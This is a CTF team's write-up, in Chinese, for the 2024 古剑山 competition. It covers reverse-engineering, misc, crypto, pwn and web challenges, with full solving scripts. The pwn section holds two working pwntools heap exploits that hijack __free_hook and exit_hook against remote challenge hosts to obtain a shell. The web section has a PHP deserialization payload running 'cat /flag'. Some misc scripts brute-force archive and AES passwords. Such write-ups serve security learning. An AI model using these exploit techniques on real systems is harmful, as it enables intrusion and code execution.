A1natas 2024 古剑山 WriteUp

2024 古剑山 WriteUp By A1natas

附件链接: https://pan.baidu.com/s/1KPm_aNTsFHf7v-nzu-c4cg?pwd=ijpf

Reverse

ipa

IOS 逆向,直接用 ida 打开分析 里面的 EasyIOS

image-20241130131140097

在程序段下有三个初始化程序,里面把 密文、RC4 的 key、还有 base64 的表都给修改了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
double InitFunc_0()
{
__int64 v0; // x8
unsigned int v1; // w9
int v2; // w13
int v3; // w9
int v4; // w14
__int64 i; // x9
double result; // d0
__int128 v7[2]; // [xsp+0h] [xbp-90h]
__int128 v8; // [xsp+20h] [xbp-70h]
__int128 v9; // [xsp+30h] [xbp-60h]

v0 = 0LL;
v1 = 0;

unsigned char v10[64] = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F
};

do
{
v2 = v10[v0];
v3 = v1 + v2 + byte_100007F00[(unsigned __int8)v0 % 5u];
v4 = v3 + 63;
if ( v3 >= 0 )
v4 = v3;
v1 = v3 - (v4 & 0xFFFFFFC0);
v10[v0] = v10[v1];
v10[v1] = v2;
++v0;
}
while ( v0 != 64 );

for (int j = 0; j < 64; ++j) {
printf("%c", aAbcdefghijklmn[v10[j]]);
}

return result;
}

直接运行可以得到码表 NF01ihUKST9q3lnjEBs47k2w5ad+AVHfPezg/CDyxrMLR6GvomIQJOXcpW8ZbutY

image-20241130131323764 image-20241130131330625

得到 base 后的密文 bExa9y+XlAbleJPlBJy5r0AFPeJQKEODCQ6D23jOpR+X
这里这个 RC4 直接动调出 SBox 然后用剩下的代码直接解就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned char data[250] = {
0x33, 0xC3, 0x3B, 0x91, 0xB9, 0xCD, 0x47, 0x0E, 0xBB, 0x5C, 0xD4, 0xD0, 0xCA, 0x4B, 0xAC, 0x1C,
0x4E, 0x22, 0x6E, 0xA0, 0xAA, 0x34, 0x03, 0x1E, 0x71, 0xE8, 0x44, 0x31, 0xE3, 0x02, 0x46, 0x24,
0x32, 0x23, 0x28, 0x58, 0x2A, 0x29, 0xDB, 0x73, 0x76, 0x70, 0x6A, 0x0B, 0x68, 0xDA, 0x18, 0x2C,
0x38, 0x8A, 0x81, 0x74, 0x7B, 0xBD, 0xF7, 0x4F, 0x0C, 0x8E, 0x27, 0x9A, 0x13, 0xB2, 0x92, 0xCF,
0x3C, 0xB4, 0x62, 0xD2, 0xA2, 0xE2, 0x78, 0x6C, 0x19, 0x87, 0x9F, 0xEC, 0x51, 0x01, 0x4C, 0x06,
0x65, 0x75, 0x79, 0x59, 0xC7, 0xDC, 0x20, 0x55, 0x6F, 0x85, 0x6D, 0xBE, 0x11, 0x54, 0xD7, 0xD9,
0xF9, 0x3D, 0x42, 0xF1, 0x09, 0x8F, 0x04, 0xD8, 0xE7, 0xD6, 0xC8, 0x48, 0x5B, 0xC2, 0x5A, 0x00,
0xB8, 0x95, 0xCC, 0x35, 0xA1, 0xE0, 0x60, 0xC5, 0x82, 0x86, 0x40, 0xA7, 0xA3, 0xDE, 0x9E, 0xA5,
0x37, 0x8C, 0x3E, 0x8B, 0xAD, 0xF8, 0x80, 0xBA, 0xBF, 0x17, 0x2B, 0x2F, 0x43, 0x39, 0x5F, 0x08,
0x49, 0xEB, 0x45, 0xB6, 0x69, 0xAF, 0x9B, 0x05, 0xB1, 0xC4, 0x52, 0xD3, 0xC1, 0x88, 0x9D, 0xD5,
0x21, 0x30, 0x7E, 0x14, 0x63, 0x64, 0xE9, 0x98, 0xF3, 0xD1, 0xCE, 0x7D, 0xF0, 0x84, 0xF2, 0xF5,
0xB3, 0xA9, 0xBC, 0xCB, 0xDF, 0x7F, 0x77, 0xEA, 0x36, 0x1A, 0xAB, 0x1B, 0x94, 0x2D, 0x50, 0xE1,
0xE4, 0xA6, 0xED, 0x1D, 0x1F, 0x7C, 0x3F, 0xA4, 0xEF, 0x9C, 0x6B, 0x0A, 0x93, 0xDD, 0x56, 0xA8,
0xB0, 0x07, 0xF6, 0xC0, 0xB7, 0x90, 0x12, 0x5E, 0x96, 0xE5, 0x83, 0x41, 0xF4, 0x53, 0x2E, 0x3A,
0x97, 0x0D, 0x72, 0x10, 0xB5, 0xC6, 0xC9, 0x67, 0xEE, 0x57, 0x26, 0x4D, 0x99, 0xAE, 0x4A, 0x8D,
0x89, 0x16, 0x25, 0x0F, 0x66, 0x5D, 0xE6, 0x7A, 0x61, 0x15
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#include "defs.h"

//s表的长度取256
#define size 250

unsigned char sbox[250] = {
0x33, 0xC3, 0x3B, 0x91, 0xB9, 0xCD, 0x47, 0x0E, 0xBB, 0x5C, 0xD4, 0xD0, 0xCA, 0x4B, 0xAC, 0x1C,
0x4E, 0x22, 0x6E, 0xA0, 0xAA, 0x34, 0x03, 0x1E, 0x71, 0xE8, 0x44, 0x31, 0xE3, 0x02, 0x46, 0x24,
0x32, 0x23, 0x28, 0x58, 0x2A, 0x29, 0xDB, 0x73, 0x76, 0x70, 0x6A, 0x0B, 0x68, 0xDA, 0x18, 0x2C,
0x38, 0x8A, 0x81, 0x74, 0x7B, 0xBD, 0xF7, 0x4F, 0x0C, 0x8E, 0x27, 0x9A, 0x13, 0xB2, 0x92, 0xCF,
0x3C, 0xB4, 0x62, 0xD2, 0xA2, 0xE2, 0x78, 0x6C, 0x19, 0x87, 0x9F, 0xEC, 0x51, 0x01, 0x4C, 0x06,
0x65, 0x75, 0x79, 0x59, 0xC7, 0xDC, 0x20, 0x55, 0x6F, 0x85, 0x6D, 0xBE, 0x11, 0x54, 0xD7, 0xD9,
0xF9, 0x3D, 0x42, 0xF1, 0x09, 0x8F, 0x04, 0xD8, 0xE7, 0xD6, 0xC8, 0x48, 0x5B, 0xC2, 0x5A, 0x00,
0xB8, 0x95, 0xCC, 0x35, 0xA1, 0xE0, 0x60, 0xC5, 0x82, 0x86, 0x40, 0xA7, 0xA3, 0xDE, 0x9E, 0xA5,
0x37, 0x8C, 0x3E, 0x8B, 0xAD, 0xF8, 0x80, 0xBA, 0xBF, 0x17, 0x2B, 0x2F, 0x43, 0x39, 0x5F, 0x08,
0x49, 0xEB, 0x45, 0xB6, 0x69, 0xAF, 0x9B, 0x05, 0xB1, 0xC4, 0x52, 0xD3, 0xC1, 0x88, 0x9D, 0xD5,
0x21, 0x30, 0x7E, 0x14, 0x63, 0x64, 0xE9, 0x98, 0xF3, 0xD1, 0xCE, 0x7D, 0xF0, 0x84, 0xF2, 0xF5,
0xB3, 0xA9, 0xBC, 0xCB, 0xDF, 0x7F, 0x77, 0xEA, 0x36, 0x1A, 0xAB, 0x1B, 0x94, 0x2D, 0x50, 0xE1,
0xE4, 0xA6, 0xED, 0x1D, 0x1F, 0x7C, 0x3F, 0xA4, 0xEF, 0x9C, 0x6B, 0x0A, 0x93, 0xDD, 0x56, 0xA8,
0xB0, 0x07, 0xF6, 0xC0, 0xB7, 0x90, 0x12, 0x5E, 0x96, 0xE5, 0x83, 0x41, 0xF4, 0x53, 0x2E, 0x3A,
0x97, 0x0D, 0x72, 0x10, 0xB5, 0xC6, 0xC9, 0x67, 0xEE, 0x57, 0x26, 0x4D, 0x99, 0xAE, 0x4A, 0x8D,
0x89, 0x16, 0x25, 0x0F, 0x66, 0x5D, 0xE6, 0x7A, 0x61, 0x15
};

//加解密函数
void enc_dec(unsigned char *key, unsigned char *data, int length, int keylen) {
int i, j, k, R, tmp;

// init_sbox(key, keylen);

j = k = 0;
for (i = 0; i < length; i++) {
j = (j + 1) % size;
k = (k + sbox[j]) % size;

tmp = sbox[j];
sbox[j] = sbox[k];
sbox[k] = tmp;

R = sbox[(sbox[j] + sbox[k]) % size];

data[i] ^= R;
}
}


int main() {
unsigned char key[13] = {0xf6,0xcc,0xc8,0xd5,0xc9,0xc0,0xee,0xc0,0xdc,0xed,0xc0,0xd7,0xc0};
unsigned char data[33] = {0xf1,0x0a,0x19,0x2a,0x76,0xf6,0x35,0xcf,0x0d,0x87,0x48,0x0d,0x47,0x49,0xd8,0xa4,0x27,0x01,0x82,0x1d,0x33,0x1d,0x0d,0x66,0x97,0x3b,0x66,0x58,0xc3,0xf5,0xe2,0xc6,0xf6};

enc_dec(key, data, 33, 13);

for (int i = 0; i < 33; ++i) {
printf("%c", data[i]);
}
return 0;
}
// flag{45_4_105_r3v3r51n6_b361nn3r}

ez_re

发现有个壳,用 x32dbg 调试,下断点在 VirtualProtect 运行几次然后单步走两下断在程序段

image-20241130130834259

然后用 Scylla dump fix,拉进 ida 分析
手动重命名一下函数后发现,就是一个替换

image-20241130130930855

image-20241130130954720

直接把伪C拉下来,改一下判断,加上打印就可以得到 Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "defs.h"

unsigned char key_table[10] = {
0x7B, 0x64, 0x65, 0x32, 0x31, 0x63, 0x7A, 0x34, 0x79, 0x00
};

BOOL __fastcall sub_3B1150(char *v5_cp, char *v4_cp)
{
char *v2; // edi
int v4; // esi
char v5; // al
int v6; // esi
int v7; // ecx
char v8; // dl
char v9; // al
int v10; // edx
char v11; // cl
char v12; // al

v2 = v4_cp + 24; // flag开头
v4 = 0;
while ( 1 )
{
v5 = *v2++;
printf("%c", v5);
if ( ++v4 >= 4 )
{
v6 = 4;
v7 = 0;
while ( 1 )
{
v8 = key_table[v7];
if ( v8 == 121 )
{
key_table[v7] = 55;
v8 = 55;
}
if ( v8 == 122 )
{
key_table[v7] = 56;
v8 = 56;
}
v6++;
printf("%c", v8);
if ( ++v7 >= 9 )
{
v10 = 0;
while ( 1 )
{
v11 = v4_cp[v10];
if ( v11 == 121 )
{
v4_cp[v10] = 55;
v11 = 55;
}
if ( v11 == 122 )
{
v4_cp[v10] = 56;
v11 = 56;
}
v6++;
printf("%c", v11);
if ( ++v10 >= 24 ) {
printf("}");
return 1;
}
}
}
}
}
}
}

int main() {
char pt[] = "cedfz16az31zd2dycy65ac41flag";
sub_3B1150(pt, pt);

return 0;
}

// flag{de21c847cedf816a8318d2d7c765ac41}

Misc

蓝书包

拿到一大堆压缩包,随便爆破两个压缩包的密码

image-20241130134311436 image-20241130134334200

发现密码和文件名有关系,写一个脚本批量解压

1
2
3
4
5
import zipfile

for i in range(1, 183):
with zipfile.ZipFile(f"{i}.zip", 'r') as zipf:
zipf.extractall(path="./output", pwd=str(10000 + i).encode())

saa 里面有 PNG 文件头,那么把所有解压得到的文件按照字母序拼在一起

image-20241130134642392

out

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import zipfile
import os

# for i in range(1, 183):
# with zipfile.ZipFile(f"{i}.zip", 'r') as zipf:
# zipf.extractall(path="./output", pwd=str(10000 + i).encode())

files = os.listdir("./output")
files.sort()
dt = b""

for f in files:
dt += open(f"./output/{f}", "rb").read()

open("./output/out.bin", "wb").write(dt)

联想到题目名 蓝书包 那么这张图片应该有 LSB 隐写,StegSolver 没法直接提取出来 应该是加密的 写一个脚本爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import threading
from queue import Queue
from Crypto.Cipher import AES
from lsb import assemble
from PIL import Image
import hashlib
from Crypto import Random
from Crypto.Util.number import long_to_bytes

class AESCipher:
def __init__(self, key):
self.bs = 32 # Block size
self.key = hashlib.sha256(key.encode()).digest() # 32 bit digest

def encrypt(self, raw):
raw = self.pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return iv + cipher.encrypt(raw)

def decrypt(self, enc):
# if len(enc) % 16 != 0:
# enc = enc[:len(enc) - len(enc)%16]
# print(len(enc))
iv = enc[:AES.block_size]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
message = cipher.decrypt(enc[AES.block_size:])

return message
# return self.unpad()

def pad(self, s):
return s + (self.bs - len(s) % self.bs) * long_to_bytes(self.bs - len(s) % self.bs)

def unpad(self, s):
return s[:-ord(s[len(s)-1:])]


def aes_brute_force(key, ciphertext):
try:
# print("testing", key)
cipher = AESCipher(key)
data_dec = cipher.decrypt(ciphertext).decode()
if "flag" in data_dec:
print(f"正确密钥: {key}, 明文: {data_dec}")
return True
except Exception:
return False

def worker(ciphertext, queue):
while not queue.empty():
key = queue.get()
if aes_brute_force(key, ciphertext):
with queue.mutex:
queue.queue.clear() # 停止其他线程
break
queue.task_done()

def main():
# read data
img = Image.open("576X1024_6_4_8.png")
(width, height) = img.size
conv = img.convert("RGBA").getdata()
print("[+] Image size: %dx%d pixels." % (width, height))

# Extract LSBs
v = []
for h in range(height):
for w in range(width):
(r, g, b, a) = conv.getpixel((w, h))
v.append(r & 1)
v.append(g & 1)
v.append(b & 1)

data_out = assemble(v)

dic = "rockyou.txt"
keys = open(dic, "r", encoding="utf-8").read().split("\n")

ciphertext = data_out

queue = Queue()
for key in keys:
queue.put(key)

num_threads = 8
threads = []

for _ in range(num_threads):
thread = threading.Thread(target=worker, args=(ciphertext, queue))
thread.start()
threads.append(thread)

for thread in threads:
thread.join()

if __name__ == "__main__":
main()

image-20241130141905236

jpg

到手解压得到 att.jpg,大小明显有点不对,binwalk 出一个压缩包,看了一下是伪加密,010 去除后解压得到 flag.pdf

image-20241130172648892

同时压缩包内还有一个 sha512.txt 暂时不知道是什么意思,flag.pdf 试过了许多方法,透明文字啥的都没能解出来
后面尝试用 strings 提取所有可打印字符串,结果在文件末尾发现了大量 Photoshop 字眼,猜测这可能可以通过 ps 打开

image-20241130172924179

随便保存一份 PSD,然后 Strings 可以发现其中也有这种类似的 XML 结构

image-20241130173006436

直接用 PS 打开 flag.pdf 文件

image-20241130173026562

切换到第三个图层,得到一个二维码

download

解码得到一串 sha512 值,结合前面的 sha512.txt 猜测是明文攻击

1
67f480eff11781617044bd47fb9535cfb0e4b6a09e51daff2107c536e9d4eebb3d517cfea6e3f176d4e0d37a9f3658845f3d1917cfce30a4f44ffa2e0af58485

image-20241130173238718

确实是明文攻击,接下来用 ARCHPR 破解就行了

image-20241130173743221

得到压缩包密码 @Xy9$LkXx

flag{10e23151aa0da35221a81dff81a53b4e}

Crypto

cs

可以看到 分离成前一位之后 就能得到一串jjkk的字符串和一串字符
发现hnci对应的flag 字符都是对应ascii码都是减2

这里只知道f的 不知道k的是什么 写个脚本爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
str1 = "jjjjkkjjkjkkjjjjjjjk"
str2 = "hncimfjkekedgcnhncio"

k_range = range(-100,100)
results = []

for k in k_range:
str3 = ""
for i in range(len(str1)):
if str1[i] == "j":
str3 += chr(ord(str2[i]) - 2)
else:
str3 += chr(ord(str2[i]) + k)
results.append(f"k={k}: {str3}")
for result in results:
print(result)

PWN

mis

申请的堆块大小由输入的数据长度,而非输入的size,导致存在堆溢出,通过堆溢出达成伪造大chunk放到unsortedbin,泄露libc,然后堆块重叠达成uaf,打__free_hook。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context.update(os = 'linux', arch = 'amd64')
# context.timeout = 5
context.log_level = 'debug'
binary = './pwn'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
libc = ELF('./libc.so.6', checksec=False)
host = '47.106.14.25'
port = '34563'
p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

def cmd(idx):
sla(b'4.show\n', str(idx).encode())

def add(idx, sz, data):
cmd(1)
sla(b'index: ', str(idx).encode())
sla(b'size: ', str(sz).encode())
sa(b'note: ', data)

def delete(idx):
cmd(2)
sla(b'index: ', str(idx).encode())

def edit(idx, data):
cmd(3)
sla(b'index: ', str(idx).encode())
sa(b'note: ', data)

def show(idx):
cmd(4)
sla(b'index: ', str(idx).encode())

def pwn():
add(0, 0xff, b'a'*0x10)# 0x20
add(1, 0xff, b'a'*0xf0)
add(2, 0xff, b'a'*0xf0)
add(3, 0xff, b'a'*0xf0)
add(4, 0xff, b'a'*0xf0)
add(5, 0xff, b'a'*0xf0)
add(6, 0xff, b'a'*0x10)# 0x20

edit(0, b'\x00'*0x18 + p64(0x501))

delete(1)
add(1, 0xff, b'a'*0xf0)
show(2)

libc.address = u64(p.recvn(8)) - 0x3ebca0
__free_hook = libc.sym["__free_hook"]
system = libc.sym["system"]
log("libc", libc.address)

add(7, 0xff, b'a'*0xf0)# 2 & 7
add(8, 0xff, b'a'*0xf0)# 8
delete(8)
delete(2)

edit(7, p64(__free_hook))
add(2, 0xff, b'a'*0xf0)
add(7, 0xff, b'a'*0xf0)

edit(2, b'/bin/sh\x00')
edit(7, p64(system).ljust(0xf0, b'\x00'))


delete(2)
# gdb.attach(p)
# pause()

io()
pwn()

in

先申请大chunk,会申请到libc上面,然后利用越界写,通过stdout泄露libc,之后打exit_hook。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context.update(os = 'linux', arch = 'amd64')
# context.timeout = 5
context.log_level = 'debug'
binary = './inferno'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
libc = ELF('./libc-2.23.so', checksec=False)
host = '47.112.189.16'
port = '36128'
p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

offset = 0x3ca000

def pwn():
sla(b'Size:\n', str(0x5c6611))
sla(b'Size:\n', str(0x200000))

sa(b'Data:\n', p8(0x18))
s(b'\x00')

libc.address = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym["_IO_file_jumps"]
ld = libc.address + offset
func = ld + 0x226f48
ones = [0x4526a, 0xf02a4, 0xf1147]
log('libc', libc.address)
log('ld', ld)
log('func', func)

ru(b"shell!\n")

# gdb.attach(p, "b *exit")
s(p64(func))
s(p64(ones[2] + libc.address)[:3])
log("one_gadget", ones[0] + libc.address)

io()

pwn()

Web

UN

访问f=index.php 读取源代码
构造反序列化链 这题不需要绕过wakeup也能rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?
error_reporting(0);
class pop
{
public $aaa;
public $bbb = false;

public function __wakeup()
{
// PHP 5.4
throw new Exception("You're banned to serialize pop!");
}

// public function __destruct()
// {
// for ($i=0; $i<2; $i++) {
// if (self::$bbb) {
// $this->aaa[1]($this->aaa[2]);
// } else {
// self::$bbb = call_user_func($this->aaa["object"]);
// }
// }
// }
}

$a = new pop();
$a->aaa = array("1","system", "cat /flag");
$a->aaa["object"]="phpinfo";
$a->bbb = true;
$b = serialize($a);
echo base64_encode($b);